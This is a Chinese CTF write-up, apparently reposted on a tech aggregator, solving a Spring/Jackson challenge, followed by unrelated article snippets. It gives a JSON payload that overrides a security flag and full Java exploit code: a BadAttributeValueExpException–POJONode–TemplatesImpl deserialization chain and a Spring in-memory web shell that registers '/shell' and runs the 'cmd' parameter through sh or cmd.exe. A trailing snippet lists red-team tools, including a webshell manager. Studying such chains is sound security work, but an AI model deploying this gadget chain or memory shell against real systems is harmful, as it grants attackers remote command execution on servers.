【Web】2023香山杯决赛 security system 题解

devtools/2024/9/23 4:26:37/

目录

step -1

step 0

step 1 

step 2

step 3


step -1

①题目hint:想办法修改属性值后进入java的原生反序列化,然后利用jackson链写入内存马

②jackson反序列化基础:

ObjectMapper objectMapper = new ObjectMapper();
String jsonString = "{\"@type\":\"com.example.Person\",\"name\":\"John\",\"age\":30}";
Person person = objectMapper.readValue(jsonString, Person.class);

在这个示例中,Jackson会根据@type字段的值com.example.Person来确定应该创建一个Person对象,并将JSON中的其他属性值映射到该对象的属性上。

需要注意的是,在使用@type字段时,需要确保对应的Java类路径在类加载器的搜索路径上,并且Jackson的ObjectMapper能够访问到这些类。

③jackson性质:

如果在Jackson反序列化过程中,指定的目标类为 LinkedHashMap,而 JSON 字符串中包含了 @type 字段,那么 Jackson 会将 @type 字段作为 LinkedHashMap 的一个普通属性来处理,而不会将其视为 autotype。

假设有以下 JSON 数据:

{"@type": "com.example.Dog","name": "Buddy","breed": "Golden Retriever"
}

 @type 字段将被作为普通属性存储在 LinkedHashMap 中,而不会触发对应用于 Dog 类的自动类型解析。因此反序列化后的结果将是一个 LinkedHashMap 实例,其中包含了 @type 字段及其它属性。

step 0

pom依赖只有spring可以利用

反序列化入口有两处,第一处是jackson反序列化,第二处是无过滤的原生反序列化

step 1 

重点关注几个方法

①SecurityCheck.isSafe()

默认返回true,因为是static,所以可改属性值

②SecurityCheck.ismap() 返回一个HashSet

 

HashSet的无参构造方法就是实例化一个HashMap并存进map属性中

 

 add的值,即HashMap的key就是HashSet的iterator所取的内容,而PRESENT作用是占位

 

 

 

③SecurityCheck.deObject

这段代码主要用于在反序列化过程中,根据@type字段的值动态确定要创建的对象类型,并将LinkedHashMap中的属性值赋给对应的对象属性。

这也要求我们jackson反序列化得到的类要是LinkedHashMap或其子类

step 2

链子很简单

参考这篇文章:【Web】浅聊Jackson序列化getter的利用——POJONode_jackson反序列化调用getter-CSDN博客

BadAttributeValueExpException -> POJONode -> TemplatesImpl

但首先要在第一个反序列化入口打入属性覆盖,从而为进入第二个反序列化入口创造条件

注意因为指定了class与LinkedHashMap相关,这里的第一个@type是作为属性来处理

{"@type":"ctf.nese.SecurityCheck","safe":false,"treeMap":{"@type":"java.util.HashSet","map":{"反序列化字符串":""}}}

指定的class要继承LinkedHashMap,可以用org.springframework.core.annotation.AnnotationAttributes

 

最终payload:

classes=org.springframework.core.annotation.AnnotationAttributes&obj={"@type":"com.example.jackson.SecurityCheck","safe":false,"treeMap":{"@type":"java.util.HashSet","map":{"序列化字符串":""}}}

step 3

生成序列化字符串

EXP.java

package com.example.jackson;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;public class EXP {public static void main(String[] args) throws Exception{ClassPool pool = ClassPool.getDefault();CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");ctClass0.removeMethod(writeReplace);ctClass0.toClass();byte[] code = Repository.lookupClass(SpringMemShell.class).getBytes();byte[][] codes = {code};TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "useless");setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", codes);POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));BadAttributeValueExpException val = new BadAttributeValueExpException(null);setFieldValue(val, "val", node);byte[] poc = ser(val);System.out.println(Base64.getEncoder().encodeToString(poc));}public static byte[] ser(Object obj) throws IOException {ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);objectOutputStream.writeObject(obj);objectOutputStream.close();return baos.toByteArray();}public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {AdvisedSupport advisedSupport = new AdvisedSupport();advisedSupport.setTarget(templates);Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);constructor.setAccessible(true);InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);return proxy;}public static void setFieldValue(Object obj, String field, Object val) throws Exception{Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}
}

SpringMemShell

package com.example.jackson;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;public class SpringMemShell extends AbstractTranslet{static {try {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");configField.setAccessible(true);RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();RequestMappingInfo info = RequestMappingInfo.paths("/shell").options(config).build();SpringMemShell springControllerMemShell = new SpringMemShell();mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);} catch (Exception hi) {
//            hi.printStackTrace();}}public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {if (request.getParameter("cmd") != null) {boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\A");String output = s.hasNext() ? s.next() : "";response.getWriter().write(output);response.getWriter().flush();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

 

 ​​​​​第一次打入来覆盖SecurityCheck

第二次打入来原生反序列化注入内存马 

 

成功写入,命令执行拿flag 


http://www.ppmy.cn/devtools/39550.html

相关文章

护网中经常使用的一些工具(非常详细)零基础入门到精通,收藏这一篇就够了

通用工具 工具类型工具地址内网扫描https://github.com/shadow1ng/fscan哥斯拉Webshell管理https://github.com/BeichenDream/Godzill aARL 资产侦察灯塔https://github.com/TophantTechnology/AR Laliyun-accesskey-Toolshttps://github.com/mrknow001/aliyun-acc esskey-Too…

代码随想录——二叉树的层序遍历(Leetcode102)二叉树层序遍历的模板

题目链接 层序遍历(队列) 层序遍历一个二叉树。就是从左到右一层一层的去遍历二叉树。这种遍历的方式和我们之前讲过的都不太一样。 需要借用一个辅助数据结构即队列来实现,队列先进先出,符合一层一层遍历的逻辑,而用…

融知财经:期货和现货的区别是什么?哪个风险大?

期货和现货在交易对象等方面存在明显的区别。期货交易是一种衍生金融工具,主要用于价格发现、风险管理和投机,而现货交易则是商品和服务的实际买卖。在选择进行期货交易还是现货交易时,投资者需要根据自己的需求和市场情况来决定。 期货和现货…

JAVA语言开发的(智慧校园系统源码)智慧校园的痛点、智慧校园的安全应用、智慧校园解决方案

一、智慧校园的痛点 1、信息孤岛问题:由于校园内各部门或系统独立开发,缺乏统一规划和标准,导致数据无法有效整合和共享,形成了信息孤岛。 2、技术更新与运维挑战:智慧校园的建设依赖于前沿的信息技术,如云…

AES模块为什么需要用到随机数?哪些模式需要用到随机数?

AES(Advanced Encryption Standard)模块需要使用随机数的原因与其加密模式和安全性有关。在对称加密中,随机数主要用于: 初始化向量(IV):许多AES加密模式(如CBC、CFB、OFB、CTR等&am…

TinyXML-2介绍

1.简介 TinyXML-2 是一个简单、小巧的 C XML 解析库,它是 TinyXML 的一个改进版本,专注于易用性和性能。TinyXML-2 用于读取、修改和创建 XML 文档。它不依赖于外部库,并且可以很容易地集成到项目中。 tinyXML-2 的主要特点包括&#xff1a…

关于fmt的用法

非常详细: https://hackingcpp.com/cpp/libs/fmt.html#integers 包括: 前端补齐空格或者其他字符进行对齐, 是否居中, 二进制显示, 长数字加都好分隔符, 输出到文件, 对字符串进行截断&a…

Java并发编程之锁的艺术:面试与实战指南(四)

Java并发编程之锁的艺术:面试与实战指南(四) 文章目录 Java并发编程之锁的艺术:面试与实战指南(四)前言二十七、什么是AQS(AbstractQueuedSynchronizer)?它在Java并发包中…